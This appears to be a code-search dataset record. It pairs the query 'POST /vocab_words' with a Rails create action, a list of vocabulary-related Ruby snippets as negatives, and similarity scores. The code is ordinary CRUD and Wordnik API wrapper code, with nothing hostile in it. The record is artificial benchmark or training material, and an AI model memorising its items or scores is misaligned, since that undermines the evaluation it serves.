"def get_word(word, *args)\n http_method = :get\n path = '/word/{word}'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def create\n @vocabulary = Vocabulary.new(vocabulary_params)\n\n respond_to do |format|\n if @vocabulary.save\n format.html { redirect_to @vocabulary, notice: 'Vocabulary was successfully created.' }\n format.json { render :show, status: :created, location: @vocabulary }\n else\n format.html { render :new }\n format.json { render json: @vocabulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @lsa_training_unique_word = LsaTrainingUniqueWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lsa_training_unique_word }\n end\n end",
"def list\n @words=Word.find(:all)\n end",
"def get_random_word(*args)\n http_method = :get\n path = '/words/randomWord'\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def show\n @words_page = WordsPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @words_page }\n end\n end",
"def get_random_words(*args)\n http_method = :get\n path = '/words/randomWords'\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def word\n Word.find_by(text: params[:text])\n end",
"def show\n @text = this_class.find(params[:id])\n return forbidden if not authorized? :show, @text\n @words = @text.words.page params[:page]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text }\n end\n end",
"def index\n @word_lists = WordList.all\n end",
"def show_by_original_word\n @translated_word = TranslatedWord.find_by_word_id(Word.find_by_text(params[:wordtext]))\n respond_to do |format|\n format.json do\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def show\n @vocabtype = Vocabtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocabtype }\n end\n end",
"def load_vocab_translations\n pp_nl_serialized = File.read(\"#{$filepath_nl}alle danyvertalingen qff export.json\")\n pp_nl = JSON.parse(pp_nl_serialized)\n\n #orgins of words: passaporte (and chapter) or other\n construct_book_origins(pp_nl[\"folders\"])\n \n #saving the words to the database with reference to passaporte_words\n pp_nl[\"words\"].each do |ppnl_line|\n word_pt_raw = ppnl_line[\"word\"]\n word_pt_split = Translation.split_article_front(word_pt_raw)\n word_pt = word_pt_split[:word]\n genre_pt = word_pt_split[:article]\n # puts \"for word_pt_split: #{word_pt_split}\"\n passaporte_found = passaporte_unit?(word_pt_split)\n # puts \"found?:\"\n # puts passaporte_found\n pt_translation = nil\n if !passaporte_found.nil?\n pt_transl = Translation.find_by word_pt:word_pt_split[:word], genre_pt:word_pt_split[:article]\n # puts pt_transl\n end\n # puts \"pt_transl:\"\n # puts pt_transl\n translation_array = ppnl_line[\"translations\"]\n save_nl_translation(word_pt, pt_transl, genre_pt,translation_array, ppnl_line[\"comments\"])\n end\nend",
"def get_related_words(word, *args)\n http_method = :get\n path = '/word/{word}/relatedWords'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def update\n @spanish_vocab = SpanishVocab.find(params[:id])\n\n respond_to do |format|\n if @spanish_vocab.update_attributes(params[:spanish_vocab])\n format.html { redirect_to @spanish_vocab, notice: 'Spanish vocab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spanish_vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n # scan from redis\n words = []\n REDIS.keys('w_*').reverse_each do |key|\n words.push(JSON.parse(REDIS.get(key))) \n end\n render json: words\n\n # scan from mongodb\n # @words = Word.all\n # render json: @words\n end",
"def list_transcription_vocabularies_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TranscriptionVocabulariesApi.list_transcription_vocabularies ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 10\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling TranscriptionVocabulariesApi.list_transcription_vocabularies, must be smaller than or equal to 10.'\n end\n\n # resource path\n local_var_path = '/video/v1/transcription-vocabularies'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ListTranscriptionVocabulariesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['accessToken']\n\n new_options = opts.merge(\n :operation => :\"TranscriptionVocabulariesApi.list_transcription_vocabularies\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TranscriptionVocabulariesApi#list_transcription_vocabularies\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @words = Word.all.paginate(:page => params[:page])\n end",
"def index\n authorize(Vocabulary)\n @permitted_params = params.permit(Search::RESULTS_PARAMS +\n Search::SIMPLE_SEARCH_PARAMS +\n [:institution_id])\n @start = [@permitted_params[:start].to_i.abs, MAX_START].min\n @window = window_size\n @vocabularies = Vocabulary.\n where(institution: current_institution).\n order(:name)\n @count = @vocabularies.count\n @vocabularies = @vocabularies.limit(@window).offset(@start)\n @current_page = ((@start / @window.to_f).ceil + 1 if @window > 0) || 1\n end",
"def index\n story_parts_words = {}\n story_parts = StoryPart.where(params[:story_id])\n # iterate through story parts to find word. Create story_part/word association to be passed into json data\n story_parts.each do |story_part|\n story_word_array = []\n story_word_array.push(story_part)\n story_word_array.push(story_part.word)\n story_parts_words[story_part.id] = story_word_array\n end\n \n render :json => story_parts_words\n end",
"def index\n @glossaries = []\n err = init_var()\n if(@dict_id!=nil)\n\n\t\tif params[:to_search] == nil or \n\t\t params[:to_search] == '' \n\t\t @glossaries = Glossary.where(\n\t\t \t\t\t [ \"dict_id = :dict_id \",\n\t\t\t\t{ dict_id: @dict_id } ] ).limit(100)\n\t\telse\n\t\t @glossaries = Glossary.where(\n\t\t\t [ \"dict_id = :dict_id and key_words = :key_words \",\n\t\t\t\t{ dict_id: @dict_id , key_words: params[:to_search] } ] )\n\t\tend\n\tend\n end",
"def show\n @word = Word.find(params[:id])\n end",
"def get_phrases(word, *args)\n http_method = :get\n path = '/word/{word}/phrases'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def get_word_forms(word, *args)\n http_method = :get\n path = '/word/{word}/wordForms'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def terms\n @api_v1_pages = Api::V1::Page.where('title = \"terms\"').first\n\n render json: @api_v1_pages\n end",
"def show\n @word = Word.find(params[:id])\n @example_sentence = @word.example_sentences.new\n end",
"def show\n @word_count = WordCount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_count }\n end\n end",
"def show\n @translated_word = TranslatedWord.find(params[:id])\n\n respond_to do |format|\n format.json do\n # render :json => @translated_word.to_json(:include => { :word => { :only => :text } })\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def destroy\n @controlled_vocabulary.destroy\n respond_to do |format|\n format.html { redirect_to controlled_vocabularies_url }\n format.json { head :no_content }\n end\n end",
"def words\n @words ||= Array(@grpc.words).map do |b|\n Word.from_grpc b\n end\n end",
"def show\n @word_pair = WordPair.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_pair }\n end\n end",
"def show\n @dictionary = Dictionary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dictionary }\n end\n end",
"def get_word_of_the_day_lists_containing_word(*args)\n http_method = :get\n path = '/words/wordOfTheDayLists'\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def show\n @key_word_set = KeyWordSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_word_set }\n end\n end",
"def index\n if !params[:language].nil?\n @words = Word.where(language:params[:language], user_id:current_user.id)\n else\n @words = nil\n end\n end",
"def destroy\n @vocabulaire.destroy\n respond_to do |format|\n format.html { redirect_to vocabulaires_url }\n format.json { head :no_content }\n end\n end",
"def show\n @words = @word_list.words.limit\n end",
"def show\n @dictionaries = current_user.dictionaries\n @page_title = [@word.word]\n end",
"def get_text_pronunciations(word, *args)\n http_method = :get\n path = '/word/{word}/pronunciations'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def index\n authorize ControlledVocabulary\n @cv = ControlledVocabulary.new\n end",
"def index\n @word_pairs = WordPair.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @word_pairs }\n end\n end",
"def parse_vocab(line)\n line.split(/[ \\t]+/)\nend",
"def index\n @paper_words = PaperWord.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @paper_words }\n end\n end",
"def dictionary()\n return @data[:words]\n end",
"def show\n @serach_word = SerachWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serach_word }\n end\n end",
"def response(word)\n url = 'https://api.dictionaryapi.dev/api/v2/entries/en_US/'+word\n uri = URI(url)\n response = Net::HTTP.get(uri)\n json_data = JSON.parse(response)\n end",
"def index\n @ojibwe_words = OjibweWord.all\n end",
"def show_by_translation\n @translated_word = TranslatedWord.find_by_translation(params[:translation])\n respond_to do |format|\n format.json do\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def show\n @wordlist = Query.wordlistByName(params[:name])\n puts @wordlist\n @wordlist = @wordlist.first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wordlist }\n end\n end",
"def index\n @ms_words = MsWord.all\n end",
"def get_listed_in(word, *args)\n http_method = :get\n path = '/word/{word}/listedIn'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def word_params\n params.require(:word).permit(:text)\n end"
] |
[
"0.7296224",
"0.70161885",
"0.688909",
"0.6884174",
"0.67165685",
"0.6663507",
"0.665158",
"0.654935",
"0.64854443",
"0.6416037",
"0.63935256",
"0.63797176",
"0.63795954",
"0.63511527",
"0.62814844",
"0.6275007",
"0.6254517",
"0.6248282",
"0.6234731",
"0.6228555",
"0.61967814",
"0.6177955",
"0.6177955",
"0.6165354",
"0.6162638",
"0.61532885",
"0.6149687",
"0.614761",
"0.61323076",
"0.61296046",
"0.6116505",
"0.61154044",
"0.6073262",
"0.6057436",
"0.604076",
"0.6040448",
"0.60355914",
"0.6035529",
"0.6029972",
"0.5994953",
"0.5994874",
"0.5977951",
"0.59362",
"0.59362",
"0.59362",
"0.59362",
"0.59241635",
"0.5919069",
"0.59101677",
"0.5899986",
"0.5894055",
"0.5893927",
"0.5886575",
"0.5866572",
"0.58643395",
"0.58585244",
"0.5856571",
"0.58423793",
"0.58257055",
"0.58244187",
"0.5820024",
"0.5817229",
"0.58152026",
"0.5800322",
"0.57942545",
"0.5793096",
"0.5782003",
"0.57755375",
"0.57678133",
"0.5754179",
"0.5750818",
"0.57429445",
"0.57357997",
"0.5735473",
"0.57348716",
"0.57314634",
"0.5722504",
"0.5719884",
"0.57161283",
"0.56955",
"0.5692323",
"0.56792355",
"0.56787795",
"0.5672852",
"0.56540316",
"0.5638566",
"0.56305695",
"0.5628917",
"0.5623695",
"0.56224114",
"0.56173694",
"0.56143415",
"0.56071895",
"0.5605926",
"0.55918425",
"0.5580159",
"0.55743533",
"0.5574076",
"0.55634797",
"0.5558284"
] |
0.6237235
|
18
|
POST /vocab_words POST /vocab_words.json
|
def create
logger.debug "-----create-----"
@vocab_word = VocabWord.new(vocab_word_params)
logger.debug "-----before do-----"
logger.debug "---" + vocab_word_params.to_s
respond_to do |format|
if @vocab_word.save
format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully created.' }
format.json { render :show, status: :created, location: @vocab_word }
else
format.html { render :new }
format.json { render json: @vocab_word.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def vocab_word_params\n params.require(:vocab_word).permit(:id, :word, :lesson)\n end",
"def create\n @vocab = Vocab.new(vocab_params)\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to @vocab, notice: \"Vocab was successfully created.\" }\n format.json { render :show, status: :created, location: @vocab }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @spanish_vocab = SpanishVocab.new(params[:spanish_vocab])\n\n respond_to do |format|\n if @spanish_vocab.save\n format.html { redirect_to @spanish_vocab, notice: 'Spanish vocab was successfully created.' }\n format.json { render json: @spanish_vocab, status: :created, location: @spanish_vocab }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spanish_vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vocab = Vocab.new(params[:vocab])\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to(@vocab, :notice => 'Vocab was successfully created.') }\n format.xml { render :xml => @vocab, :status => :created, :location => @vocab }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def vocab_params\n params.require(:vocab).permit(:prefix, :uri)\n end",
"def set_vocab_word\n logger.debug \"-----set_vocab_word----- \" + params[:id].to_s\n @vocab_word = VocabWord.find(params[:id])\n end",
"def set_vocab\n @vocab = Vocab.find(params[:id])\n end",
"def create\n @vocabulary = Vocabulary.new(vocabulary_params)\n\n respond_to do |format|\n if @vocabulary.save\n format.html { redirect_to @vocabulary, notice: 'Vocabulary was successfully created.' }\n format.json { render :show, status: :created, location: @vocabulary }\n else\n format.html { render :new }\n format.json { render json: @vocabulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n logger.debug \"-----index-----\"\n @vocab_words = VocabWord.all\n end",
"def word_params\n params.require(:word).permit(:title, :description, :category_ids)\n end",
"def word_params\n params.require(:word).permit(:text)\n end",
"def word_params\n params.require(:word).permit(:word, :hiragana, \n :reading, :part_of_speech, :word_list_id,\n :note, :synonyms, :antonyms, :priority,\n :translations_attributes => [:id, :translation, \n :language, :_destroy],\n :tag_attributes => [:id, :tag],\n :syn_attributes => [:id, :synonym],\n :ant_attributes => [:id, :antonym],)\n end",
"def word_params\n params.require(:word).permit(:english, :french, :hiragana, :katakana, :kanji, :tags, :tags_list)\n end",
"def word_params\n params.require(:word).permit!\n end",
"def word_params\n params.require(:word).permit(:text, :meanings_attributes => [:id, :text, :word_id, :category_id, :_destroy], :synonymous_attributes => [:id, :word_2_id, :_destroy])\n end",
"def create\n #debug\n logout(\"Creating a new Word instance...\")\n \n @word = Word.new(params[:word])\n\n ################################################\\\n text_id = @word.text_id\n \n # text = Text.find(:id => text_id.to_i)\n text = Text.find(text_id.to_i)\n \n if text != nil\n \n logout(\"text.id => \" + text.id.to_s)\n \n else\n \n logout(\"text == nil\")\n \n end\n # logout(text.)\n \n # text.words << @word\n # logout(text.words << @word)\n # res = text.words << @word\n \n # logout(\"res=\" + res)\n # @word.texts << text #=> \"text.. << ..word\" or \"word.. << ..text\"\n #=> Both generate the same entry in the join table\n #=> So, you only need to do either of the two.\n ################################################/\n\n logout(\"Saving a new Word instance...\")\n\n respond_to do |format|\n if @word.save\n #debug\n text.words << @word\n \n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render json: @word, status: :created, location: @word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:name, :freq, :attr)\n end",
"def create\n @vocabulary_term = VocabularyTerm.new(vocabulary_term_params)\n\n respond_to do |format|\n if @vocabulary_term.save\n format.html { redirect_to @vocabulary_term, notice: 'Vocabulary term was successfully created.' }\n format.json { render :show, status: :created, location: @vocabulary_term }\n else\n format.html { render :new }\n format.json { render json: @vocabulary_term.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:name, :user_id, :term, :example, :img_url, :translation)\n end",
"def create\n @word = Word.find_or_create_by_text(params[:text])\n\n respond_to do |format|\n if @word.save\n format.json { render json: @word, status: :created,\n location: @word}\n else\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(\n :word_class,\n :lexical_form,\n :translation\n ).merge(dictionary_id: @dictionary.id)\n end",
"def create\n params = fill_optional_fields(word_params)\n @word = Word.new(params.merge({ language_id: @current_language, user_id: current_user.id }))\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to action: 'index', notice: 'Word was successfully created.' }\n format.json { render :index, status: :created, location: @word }\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ram_post_params\n params.require(:ram_post).permit(:words)\n end",
"def word_params\n params.require(:complete_word).permit(words: [:id, :word_word, :meaning_word, :image_word, :etymos_version_word])\n end",
"def user_add_vocab(db)\n\tuser_word = nil\n\twhile true\n\t\t#display without recognition column\n\t\tplain_display_vocab(db)\n\t\tputs \"What word would you like to insert? (or done)\"\n\t\tuser_word = gets.chomp.capitalize\n\t\tif user_word != \"Done\"\n\t\t\tputs \"What is the definition for #{user_word}?\"\n\t\t\tuser_def = gets.chomp.downcase\n\t\t\t#add new word and definition to table\n\t\t\tdb.execute(\"INSERT INTO nursing (word, definition) VALUES (?, ?)\", [user_word, user_def])\n\t\telse\n\t\t\treturn\n\t\tend\n\tend\nend",
"def create\n @controlled_vocabulary = ControlledVocabulary.new(controlled_vocabulary_params)\n\n respond_to do |format|\n if @controlled_vocabulary.save\n format.html { redirect_to edit_controlled_vocabulary_path(@controlled_vocabulary), notice: 'Controlled vocabulary was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:word)\n end",
"def word_params\n params.require(:word).permit(:word)\n end",
"def word_params\n params.require(:word).permit(:word)\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created }\n else\n format.html { render :new }\n format.json do\n render json: @word.errors.full_messages, status: :unprocessable_entity\n end\n end\n end\n end",
"def word_list_params\n params.require(:word_list).permit(:title, :course_id,\n :embedded_words_attributes => [:id, :word, :hiragana, :reading, :note, :_destroy,\n :translations_attributes => [:id, :translation, :language, :_destroy]])\n end",
"def word_params\n params.require(:word).permit(:spelling, :pos, :definition, :sentence, :student_id)\n end",
"def word_params\n params.require(:word).permit(:text, :pronunciation, :translation, :book_id)\n end",
"def vocabulaire_params\n params.require(:vocabulaire).permit(:mot_directeur, :compteur, :francais, :italien)\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word }\n format.json { render :show, status: :created, location: @word }\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reg_word_params\n params.require(:reg_word).permit(:words)\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @vocab_word.destroy\n respond_to do |format|\n format.html { redirect_to vocab_words_url, notice: 'Vocab word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def word_list_params\n params.require(:word_list).permit(:word, :word_example_ids)\n end",
"def create\n word = Word.new(params['term'], false)\n\n # check to see if the word exists on the board\n board = Boggle.new\n exists = board.search(word.term, params['tiles'])\n\n # now, see if the word is an actual English word\n if exists\n\n # check the cache first - only go to the oxford dictionary if\n # it doesn't exist in our simple word cache\n word_cache_store = MiniCache::Store.new\n if !word_cache_store.get(word.term).nil?\n word.exists = true\n else\n # allowing exceptions from underlying api to throw 500 status code\n # and generate a log entry - to protect system from downstream\n # latency and failures, use circuit breaker\n word.exists = @dictionary_gateway.exists(word.term)\n word_cache_store.set(word.term, '') if word.exists\n\n end\n end\n\n render json: word\n end",
"def create\n @frequency_vocabulary = FrequencyVocabulary.new(frequency_vocabulary_params)\n \n respond_to do |format|\n if @frequency_vocabulary.save\n format.html { redirect_to @frequency_vocabulary, notice: 'Frequency vocabulary was successfully created.' }\n format.json { render :show, status: :created, location: @frequency_vocabulary }\n else\n format.html { render :new }\n format.json { render json: @frequency_vocabulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word = current_user.words.build(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vocabulaire = Vocabulaire.new(vocabulaire_params)\n\n respond_to do |format|\n if @vocabulaire.save\n format.html { redirect_to @vocabulaire, notice: 'Vocabulaire was successfully created.' }\n format.json { render action: 'show', status: :created, location: @vocabulaire }\n else\n format.html { render action: 'new' }\n format.json { render json: @vocabulaire.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_input_params\n params.permit(:word)\n end",
"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render action: 'show', status: :created, location: @word }\n else\n format.html { render action: 'new' }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word = Word.new(params[:word])\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render json: @word, status: :created, location: @word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word = Word.new(params[:word])\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render json: @word, status: :created, location: @word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word = Word.new(params[:word])\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render json: @word, status: :created, location: @word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:word, :wordtype, :description)\n end",
"def word_params\n params.require(:word).permit(:palavra1, :palavra2)\n end",
"def create\n @vocabtype = Vocabtype.new(params[:vocabtype])\n\n respond_to do |format|\n if @vocabtype.save\n format.html { redirect_to(@vocabtype, :notice => 'Vocabtype was successfully created.') }\n format.xml { render :xml => @vocabtype, :status => :created, :location => @vocabtype }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocabtype.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:word, :tag_list, definitions_attributes: [:definition, :URL])\n end",
